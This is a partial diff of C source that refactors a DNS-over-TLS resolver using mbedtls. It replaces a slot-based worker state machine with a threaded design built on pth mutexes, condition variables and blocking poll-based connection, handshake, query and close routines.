mbedtls_ssl_free(&ctx->ssl.ctx);
mbedtls_ssl_init(&ctx->ssl.ctx);
if (pause != NULL) {
- ctx->err_to_slot->active = true;
- ctx->err_to_slot->dur = *pause;
+ prne_unint_pth_nanosleep(*pause);
}
if (change_srvr) {
- ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt);
- ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt);
+ ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt);
+ ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt);
}
}
-static bool resolv_ensure_conn (prne_resolv_wkr_ctx_t ctx) {
+static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
+ static const int ov_nodelay = 1;
+ static socklen_t optval_len = sizeof(int);
size_t i;
+ struct pollfd pfs[2];
+ int optval, pollret;
+ const struct timespec *err_sleep = NULL;
+ bool ret = false;
- switch (ctx->ctx_state) {
- case RESOLV_CTX_STATE_NONE: {
- int optval = 1;
-
- ctx->dnss_fd[0] = socket(AF_INET6, SOCK_STREAM, 0);
- ctx->dnss_fd[1] = socket(AF_INET, SOCK_STREAM, 0);
- if (ctx->dnss_fd[0] >= 0) {
- setsockopt(ctx->dnss_fd[0], SOL_TCP, TCP_NODELAY, &optval, sizeof(int));
- if (resolv_set_cmn_fd_opt(ctx->dnss_fd[0]) < 0) {
- prne_close(ctx->dnss_fd[0]);
- ctx->dnss_fd[0] = -1;
- }
- else {
- struct sockaddr_in6 addr;
-
- memzero(&addr, sizeof(addr));
- prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->dnssrv_6.ptr, &addr);
- connect(ctx->dnss_fd[0], (const struct sockaddr*)&addr, sizeof(addr));
- }
+ pfs[0].fd = socket(AF_INET6, SOCK_STREAM, 0);
+ pfs[1].fd = socket(AF_INET, SOCK_STREAM, 0);
+ pfs[0].events = POLLOUT;
+ pfs[1].events = POLLOUT;
+ if (pfs[0].fd >= 0) {
+ setsockopt(pfs[0].fd, SOL_TCP, TCP_NODELAY, &ov_nodelay, sizeof(int));
+ if (resolv_set_cmn_fd_opt(pfs[0].fd) < 0) {
+ prne_close(pfs[0].fd);
+ pfs[0].fd = -1;
}
- if (ctx->dnss_fd[1] >= 0) {
- setsockopt(ctx->dnss_fd[1], SOL_TCP, TCP_NODELAY, &optval, sizeof(int));
- if (resolv_set_cmn_fd_opt(ctx->dnss_fd[1]) < 0) {
- prne_close(ctx->dnss_fd[1]);
- ctx->dnss_fd[1] = -1;
- }
- else {
- struct sockaddr_in addr;
+ else {
+ struct sockaddr_in6 addr;
- memzero(&addr, sizeof(addr));
- prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->dnssrv_4.ptr, &addr);
- connect(ctx->dnss_fd[1], (const struct sockaddr*)&addr, sizeof(addr));
+ memzero(&addr, sizeof(addr));
+ prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->ptr_dnssrv4, &addr);
+ if (connect(pfs[0].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) {
+ prne_close(pfs[0].fd);
+ pfs[0].fd = -1;
}
}
-
- if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) {
- ctx->err_to_slot->active = true;
- ctx->err_to_slot->dur = RESOLV_RSRC_ERR_PAUSE;
- ctx->sckop_to_slot->active = false;
+ }
+ if (pfs[1].fd >= 0) {
+ setsockopt(pfs[1].fd, SOL_TCP, TCP_NODELAY, &ov_nodelay, sizeof(int));
+ if (resolv_set_cmn_fd_opt(pfs[1].fd) < 0) {
+ prne_close(pfs[1].fd);
+ pfs[1].fd = -1;
}
else {
- ctx->sckop_to_slot->active = true;
- ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT;
- for (i = 0; i < 2; i += 1) {
- ctx->sck_pfd_slot[i]->pfd.fd = ctx->dnss_fd[i];
- ctx->sck_pfd_slot[i]->pfd.events = POLLIN | POLLOUT;
- }
-
- ctx->ctx_state = RESOLV_CTX_STATE_CONN;
- }
+ struct sockaddr_in addr;
- return false;
- }
- case RESOLV_CTX_STATE_CONN: {
- int optval;
- socklen_t optval_len;
-
- for (i = 0; i < 2; i += 1) {
- assert(ctx->sck_pfd_slot[i]->pfd.fd == ctx->dnss_fd[i]);
- if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLHUP | POLLERR | POLLNVAL)) {
- prne_close(ctx->dnss_fd[i]);
- ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1;
+ memzero(&addr, sizeof(addr));
+ prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->ptr_dnssrv6, &addr);
+ if (connect(pfs[1].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) {
+ prne_close(pfs[1].fd);
+ pfs[1].fd = -1;
}
}
- if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) {
- ctx->err_to_slot->active = true;
- ctx->err_to_slot->dur = RESOLV_CONN_ERR_PAUSE;
- ctx->sckop_to_slot->active = false;
- ctx->ctx_state = RESOLV_CTX_STATE_NONE;
-
- return false;
- }
+ }
- for (i = 0; i < 2; i += 1) {
- if (ctx->sck_pfd_slot[i]->pfd.fd < 0) {
- continue;
- }
+ /*
+ * Assume that socket creation failed because there's no resource.
+ * There could be other reasons like no socket() syscall in kernel
+ * or no IPv4 support.
+ */
+ if (pfs[0].fd < 0 && pfs[1].fd < 0) {
+ err_sleep = &RESOLV_RSRC_ERR_PAUSE;
+ goto END;
+ }
- if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLIN | POLLOUT)) {
- optval_len = sizeof(optval);
- if (getsockopt(ctx->sck_pfd_slot[i]->pfd.fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) {
- prne_close(ctx->dnss_fd[i]);
- ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1;
+ err_sleep = &RESOLV_CONN_ERR_PAUSE;
+ while (pfs[0].fd >= 0 || pfs[1].fd >= 0) {
+ pollret = prne_unint_pth_poll(pfs, 2, &RESOLV_SCK_OP_TIMEOUT);
+ if (pollret > 0) {
+ for (i = 0; i < 2; i += 1) {
+ if (pfs[i].revents & (POLLHUP | POLLERR | POLLNVAL)) {
+ prne_close(pfs[i].fd);
+ pfs[i].fd = -1;
}
- else {
- ctx->act_dns_fd = ctx->dnss_fd[i];
- ctx->dnss_fd[i] = -1;
- break;
+ else if (pfs[i].revents & POLLOUT) {
+ if (getsockopt(pfs[i].fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) {
+ prne_close(pfs[i].fd);
+ pfs[i].fd = -1;
+ }
+ else {
+ if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) {
+ err_sleep = &RESOLV_RSRC_ERR_PAUSE;
+ goto END;
+ }
+ ctx->act_sck_pfd.fd = pfs[i].fd;
+ pfs[i].fd = -1;
+
+ mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_sck_pfd.fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL);
+ ret = true;
+ break;
+ }
}
}
}
-
- if (ctx->act_dns_fd >= 0) {
- for (i = 0; i < 2; i += 1) {
- prne_close(ctx->dnss_fd[i]);
- ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1;
- }
-
- if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) {
- resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, false);
- return false;
- }
- mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_dns_fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL);
-
- ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd;
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
- ctx->sckop_to_slot->active = true;
- ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT;
- ctx->ctx_state = RESOLV_CTX_STATE_HNDSHK;
+ else if (pollret < 0) {
+ err_sleep = &RESOLV_RSRC_ERR_PAUSE;
+ break;
}
- else if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) {
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ else {
+ err_sleep = NULL;
+ break;
}
+ }
- return false;
- }
- case RESOLV_CTX_STATE_HNDSHK: {
- assert(ctx->sck_pfd_slot[0]->pfd.fd == ctx->act_dns_fd && ctx->act_dns_fd >= 0);
+END:
+ prne_close(pfs[0].fd);
+ prne_close(pfs[1].fd);
+ if (!ret && err_sleep != NULL) {
+ prne_unint_pth_nanosleep(*err_sleep);
+ }
+ return ret;
+}
- if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+static bool resolv_tls_handshake (prne_resolv_t *ctx) {
+ int pollret;
+ bool ret = false;
+ const struct timespec *err_sleep = NULL;
- return false;
+ while (true) {
+ switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) {
+ case MBEDTLS_ERR_SSL_WANT_READ:
+ ctx->act_sck_pfd.events = POLLIN;
+ break;
+ case MBEDTLS_ERR_SSL_WANT_WRITE:
+ ctx->act_sck_pfd.events = POLLOUT;
+ break;
+ case 0:
+ ret = true;
+ goto END;
+ default:
+ err_sleep = &RESOLV_CONN_ERR_PAUSE;
+ goto END;
}
- if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLIN | POLLOUT)) {
- switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) {
- case MBEDTLS_ERR_SSL_WANT_READ:
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
- break;
- case MBEDTLS_ERR_SSL_WANT_WRITE:
- ctx->sck_pfd_slot[0]->pfd.events = POLLOUT;
- break;
- case 0:
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
- ctx->sckop_to_slot->active = true;
- ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT;
- ctx->ctx_state = RESOLV_CTX_STATE_READY;
-
- return true;
- default:
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return false;
- }
+ pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_OP_TIMEOUT);
+ if (pollret < 0) {
+ err_sleep = &RESOLV_RSRC_ERR_PAUSE;
+ goto END;
+ }
+ else if (pollret == 0) {
+ goto END;
}
+ else if (ctx->act_sck_pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
+ err_sleep = &RESOLV_CONN_ERR_PAUSE;
+ goto END;
+ }
+ }
+
+END:
+ if (!ret) {
+ resolv_close_sck(ctx, err_sleep, true);
+ }
+ return ret;
+}
+static bool resolv_ensure_conn (prne_resolv_t *ctx) {
+ if (ctx->act_sck_pfd.fd < 0) {
+ if (!(resolv_ensure_act_dns_fd(ctx) &&
+ resolv_tls_handshake(ctx)))
return false;
- }
- case RESOLV_CTX_STATE_READY:
- return true;
}
-#ifdef PRNE_DEBUG
- abort();
-#endif
- return false;
+ return true;
}
static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p, prne_resolv_qr_t *qr, int *err) {
@@ -639,7 +603,7 @@ static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const ui
return ret;
}
-static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, const size_t len, bool *err_flag) {
+static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const size_t len, bool *err_flag) {
typedef struct {
const uint8_t *name;
const uint8_t *data;
@@ -983,7 +947,7 @@ static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) {
mem[qent->qname_size + 15] = 0x01;
}
-static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) {
+static bool resolv_send_dns_msgs (prne_resolv_t *ctx) {
prne_llist_entry_t *cur;
query_entry_t *qent;
size_t dot_msg_len, dns_msg_len;
@@ -1035,156 +999,182 @@ static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) {
return ret;
}
-static void resolv_proc_q (prne_resolv_wkr_ctx_t ctx) {
- bool proc = false; // true if any meaningful message has been processed.
- int ret;
+static void resolv_proc_expired (prne_resolv_t *ctx) {
+ const struct timespec now = prne_gettime(CLOCK_MONOTONIC);
+ prne_llist_entry_t *cur;
+ query_entry_t *qent;
- if (ctx->ctx_state == RESOLV_CTX_STATE_READY) {
- assert(ctx->act_dns_fd >= 0);
- assert(ctx->act_dns_fd == ctx->sck_pfd_slot[0]->pfd.fd);
+ cur = ctx->qlist.head;
+ while (cur != NULL) {
+ qent = (query_entry_t*)cur->element;
- if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
+ if (prne_cmp_timespec(RESOLV_QUERY_TIMEOUT, prne_sub_timespec(now, qent->tp_queued)) < 0) {
+ qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT;
+ cur = prne_llist_erase(&ctx->qlist, cur);
+ resolv_disown_qent(qent);
+ }
+ else {
+ cur = cur->next;
+ }
+ }
+}
+
+static void resolv_proc_q (prne_resolv_t *ctx) {
+ int pollret, ret;
+ short pfd_events;
+ bool proc;
+ /*
+ * The server could be sending gibberish response messages that look legit.
+ * Timeout the loop when we don't receive response we recognise in time.
+ */
+ struct timespec last_proc, now, delta, op_rem;
+
+LOOP:
+ last_proc = prne_gettime(CLOCK_MONOTONIC);
+ proc = false;
+ while (ctx->qlist.size > 0 || ctx->qid_map.size > 0) {
+ resolv_proc_expired(ctx);
+
+ if (ctx->write_cnt_len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) {
+ pfd_events = POLLIN | POLLOUT;
+ }
+ else {
+ pfd_events = POLLIN;
}
- if (ctx->sck_pfd_slot[0]->pfd.revents & POLLIN) {
- size_t pos, msg_len;
- bool err_flag = false;
+
+ if (!resolv_ensure_conn(ctx)) {
+ goto LOOP;
+ }
+
+ now = prne_gettime(CLOCK_MONOTONIC);
+ if (proc) {
+ last_proc = now;
+ }
+ proc = false;
+ delta = prne_sub_timespec(now, last_proc);
+ if (prne_cmp_timespec(delta, RESOLV_SCK_OP_TIMEOUT) >= 0) {
+ resolv_close_sck(ctx, NULL, true);
+ goto LOOP;
+ }
+
+ op_rem = prne_sub_timespec(RESOLV_SCK_OP_TIMEOUT, delta);
+ ctx->act_sck_pfd.events = pfd_events;
+ pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &op_rem);
- ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len);
- if (ret <= 0) {
- // we don't renegotiate with terrorists.
+ if (pollret > 0) {
+ if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
+ goto LOOP;
}
- ctx->read_cnt_len += (size_t)ret;
+ if (ctx->act_sck_pfd.revents & POLLIN) {
+ size_t pos, msg_len;
+ bool err_flag = false;
- pos = 0;
- while (true) {
- if (pos + 1 >= ctx->read_cnt_len) {
- break;
+ ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len);
+ if (ret <= 0) {
+ // we don't renegotiate with terrorists.
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ goto LOOP;
}
- msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1];
- if (msg_len > 512) { // unimplemented.
-#ifdef PRNE_DEBUG
- fprintf(stderr, "* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len);
-#endif
- // try to get qid
- if (ctx->read_cnt_len > pos + 4) {
- const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3];
- const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid);
-
- if (tpl->val != NULL) {
- query_entry_t *qent = (query_entry_t*)tpl->val;
- qent->fut.qr = PRNE_RESOLV_QR_IMPL;
- resolv_disown_qent(qent);
+ ctx->read_cnt_len += (size_t)ret;
+
+ pos = 0;
+ while (true) {
+ if (pos + 1 >= ctx->read_cnt_len) {
+ break;
+ }
+ msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1];
+ if (msg_len > 512) { // unimplemented.
+ prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len);
+ // try to get qid
+ if (ctx->read_cnt_len > pos + 4) {
+ const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3];
+ const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid);
+
+ if (tpl->val != NULL) {
+ query_entry_t *qent = (query_entry_t*)tpl->val;
+ qent->fut.qr = PRNE_RESOLV_QR_IMPL;
+ resolv_disown_qent(qent);
+ }
+ prne_imap_erase(&ctx->qid_map, qid);
}
- prne_imap_erase(&ctx->qid_map, qid);
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ goto LOOP;
}
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
+ if (pos + 1 + msg_len >= ctx->read_cnt_len) {
+ break;
+ }
+
+ proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag);
+ if (err_flag) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ goto LOOP;
+ }
+ pos += 2 + msg_len;
}
- if (pos + 1 + msg_len >= ctx->read_cnt_len) {
- break;
+ if (pos > 0) {
+ memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos);
+ ctx->read_cnt_len -= pos;
}
+ }
- proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag);
- if (err_flag) {
+ if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) {
+ ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len);
+ if (ret <= 0) {
+ // we don't renegotiate with terrorists.
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
+ goto LOOP;
}
- pos += 2 + msg_len;
- }
- if (pos > 0) {
- memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos);
- ctx->read_cnt_len -= pos;
- }
- }
- }
- if (ctx->qlist.size > 0 || ctx->write_cnt_len > 0) {
- if (!resolv_ensure_conn(ctx)) {
- return;
- }
-
- if ((ctx->sck_pfd_slot[0]->pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) {
- ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len);
- if (ret <= 0) {
- // we don't renegotiate with terrorists.
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
+ memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret);
+ ctx->write_cnt_len -= (size_t)ret;
+ }
+ if (ctx->write_cnt_len == 0) {
+ proc |= resolv_send_dns_msgs(ctx);
}
-
- memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret);
- ctx->write_cnt_len -= (size_t)ret;
- }
- if (ctx->write_cnt_len == 0) {
- proc |= resolv_send_dns_msgs(ctx);
- }
-
- if (ctx->write_cnt_len > 0 || (0 < ctx->qlist.size && ctx->qid_map.size < RESOLV_PIPELINE_SIZE)) {
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
- }
- else {
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
}
- }
-
- if (proc) {
- if (ctx->qlist.size == 0 && ctx->qid_map.size == 0 &&
- ctx->read_cnt_len == 0 && ctx->write_cnt_len == 0) {
- ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT;
+ else if (pollret == 0) {
+ resolv_close_sck(ctx, NULL, true);
}
else {
- ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT;
+ resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, true);
}
}
}
-static bool resolv_proc_close (prne_resolv_wkr_ctx_t ctx) {
- assert(ctx->ctx_state == RESOLV_CTX_STATE_CLOSING);
-
- if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return false;
- }
- if (ctx->sck_pfd_slot[0]->pfd.revents) {
+static void resolv_proc_close (prne_resolv_t *ctx) {
+ int pollret;
+
+ do {
switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) {
case MBEDTLS_ERR_SSL_WANT_READ:
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN;
- return false;
+ ctx->act_sck_pfd.events = POLLIN;
+ break;
case MBEDTLS_ERR_SSL_WANT_WRITE:
- ctx->sck_pfd_slot[0]->pfd.events = POLLOUT;
- return false;
+ ctx->act_sck_pfd.events = POLLOUT;
+ break;
case 0:
resolv_close_sck(ctx, NULL, false);
- return true;
+ return;
default:
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return false;
+ return;
}
- }
- return false;
-}
-
-static void resolv_proc_expired (prne_resolv_wkr_ctx_t ctx) {
- prne_llist_entry_t *cur;
- query_entry_t *qent;
-
- cur = ctx->qlist.head;
- while (cur != NULL) {
- qent = (query_entry_t*)cur->element;
-
- if (qent->to_slot != NULL && qent->to_slot->reached) {
- qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT;
- cur = prne_llist_erase(&ctx->qlist, cur);
- resolv_disown_qent(qent);
+ pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_CLOSE_TIMEOUT);
+ if (pollret < 0) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
}
- else {
- cur = cur->next;
+ else if (pollret == 0) {
+ resolv_close_sck(ctx, NULL, true);
+ return;
}
- }
+ else if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
+ resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
+ return;
+ }
+ } while (true);
}
static void resolv_wkr_free (void *p) {
@@ -1194,219 +1184,126 @@ static void resolv_wkr_free (void *p) {
return;
}
- prne_free_wkr_timeout_slot(ctx->sckop_to_slot);
- prne_free_wkr_timeout_slot(ctx->err_to_slot);
- prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot);
- prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]);
- prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]);
- prne_free(ctx->dnssrv_4.arr);
- prne_free(ctx->dnssrv_6.arr);
+ if (ctx->dnssrv_4.ownership) {
+ prne_free(ctx->dnssrv_4.arr);
+ }
+ if (ctx->dnssrv_6.ownership) {
+ prne_free(ctx->dnssrv_6.arr);
+ }
prne_free_llist(&ctx->qlist);
prne_free_imap(&ctx->qid_map);
mbedtls_ssl_config_free(&ctx->ssl.conf);
mbedtls_ssl_free(&ctx->ssl.ctx);
- prne_close(ctx->act_dns_fd);
- prne_close(ctx->dnss_fd[0]);
- prne_close(ctx->dnss_fd[1]);
- prne_close(ctx->evtfd[0]);
- prne_close(ctx->evtfd[1]);
-
+ prne_close(ctx->act_sck_pfd.fd);
prne_free(ctx);
}
static void resolv_wkr_fin (void *p) {
DECL_CTX_PTR(p);
-
- assert(ctx->wkr_state == RESOLV_WKR_STATE_OK);
- ctx->wkr_state = RESOLV_WKR_STATE_FIN_CALLED;
+ prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+ ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED;
+ pth_cond_notify(&ctx->cond, FALSE);
+ prne_assert(pth_mutex_release(&ctx->lock));
}
-static void resolv_wkr_work (void *p, const prne_wkr_tick_info_t *tick_info) {
+static void *resolv_wkr_entry (void *p) {
DECL_CTX_PTR(p);
+ bool sck_close;
- assert(ctx->wkr_state != RESOLV_WKR_STATE_FINALISED);
- assert((ctx->evt_pfd_slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0);
+ while (ctx->ctx_state == RESOLV_CTX_STATE_OK) {
+ sck_close = false;
- if (ctx->evt_pfd_slot->pfd.revents & POLLIN) {
- uint8_t rubbish;
+ prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+ if (ctx->qlist.size == 0) {
+ pth_event_t ev;
- if (read(ctx->evtfd[0], &rubbish, 1) < 0) {
- prne_die_not_nonblock_err();
- }
- }
-
- resolv_proc_expired(ctx);
+ if (ctx->act_sck_pfd.fd >= 0) {
+ ev = pth_event(PTH_EVENT_TIME, pth_timeout(RESOLV_SCK_IDLE_TIMEOUT.tv_sec, 0));
+ }
+ else {
+ ev = NULL;
+ }
- if (ctx->err_to_slot->active) {
- if (ctx->err_to_slot->reached) {
- ctx->err_to_slot->active = false;
- }
- else {
- return;
- }
- }
+ pth_cond_await(&ctx->cond, &ctx->lock, ev);
- if (ctx->sckop_to_slot->active && ctx->sckop_to_slot->reached) {
- if (ctx->ctx_state == RESOLV_CTX_STATE_READY) {
- ctx->ctx_state = RESOLV_CTX_STATE_CLOSING;
- ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT;
- ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd;
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
- return;
+ if (ev != NULL) {
+ sck_close = pth_event_occurred(ev) != 0;
+ pth_event_free(ev, PTH_FREE_ALL);
+ }
}
- else {
- resolv_close_sck(ctx, NULL, true);
+ prne_assert(pth_mutex_release(&ctx->lock));
+
+ if (sck_close) {
+ resolv_proc_close(ctx);
}
- }
- if (ctx->ctx_state == RESOLV_CTX_STATE_CLOSING && !resolv_proc_close(ctx)) {
- return;
+ resolv_proc_q(ctx);
}
- resolv_proc_q(ctx);
- if (ctx->wkr_state == RESOLV_WKR_STATE_FIN_CALLED && ctx->qid_map.size == 0 && ctx->qlist.size == 0) {
- if (ctx->ctx_state == RESOLV_CTX_STATE_READY) {
- ctx->ctx_state = RESOLV_CTX_STATE_CLOSING;
- ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT;
- ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd;
- ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT;
- }
- else {
- ctx->wkr_state = RESOLV_WKR_STATE_FINALISED;
- resolv_close_sck(ctx, NULL, false);
- ctx->evt_pfd_slot->pfd.fd = -1;
- ctx->err_to_slot->active = false;
- }
+ if (ctx->act_sck_pfd.fd >= 0) {
+ resolv_proc_close(ctx);
}
+
+ ctx->ctx_state = RESOLV_CTX_STATE_FINALISED;
+ return NULL;
}
-prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg) {
- prne_resolv_wkr_ctx_t ctx = NULL;
+prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg) {
+ prne_resolv_t *ctx = NULL;
- if (wsr == NULL || ctr_drbg == NULL) {
+ if (wkr == NULL || ctr_drbg == NULL) {
errno = EINVAL;
return NULL;
}
- ctx = (prne_resolv_wkr_ctx_t)prne_malloc(sizeof(struct prne_resolv_wkr_ctx), 1);
+ ctx = (prne_resolv_t*)prne_malloc(sizeof(prne_resolv_t), 1);
if (ctx == NULL) {
return NULL;
}
- ctx->dnss_fd[0] = ctx->dnss_fd[1] = -1;
- ctx->evtfd[0] = ctx->evtfd[1] = -1;
ctx->read_cnt_len = 0;
ctx->write_cnt_len = 0;
- ctx->wsr = wsr;
- ctx->sckop_to_slot = prne_alloc_wkr_timeout_slot(wsr);
- ctx->err_to_slot = prne_alloc_wkr_timeout_slot(wsr);
- ctx->evt_pfd_slot = prne_alloc_wkr_pollfd_slot(wsr);
- ctx->sck_pfd_slot[0] = prne_alloc_wkr_pollfd_slot(wsr);
- ctx->sck_pfd_slot[1] = prne_alloc_wkr_pollfd_slot(wsr);
- ctx->act_dns_fd = -1;
- ctx->ctx_state = RESOLV_CTX_STATE_NONE;
- ctx->wkr_state = RESOLV_WKR_STATE_OK;
+ ctx->act_sck_pfd.fd = -1;
+ ctx->ctx_state = RESOLV_CTX_STATE_OK;
ctx->ssl.ctr_drbg = ctr_drbg;
prne_init_llist(&ctx->qlist);
prne_init_imap(&ctx->qid_map);
mbedtls_ssl_config_init(&ctx->ssl.conf);
mbedtls_ssl_init(&ctx->ssl.ctx);
- if (ctx->sckop_to_slot == NULL ||
- ctx->err_to_slot == NULL ||
- ctx->evt_pfd_slot == NULL ||
- ctx->sck_pfd_slot[0] == NULL ||
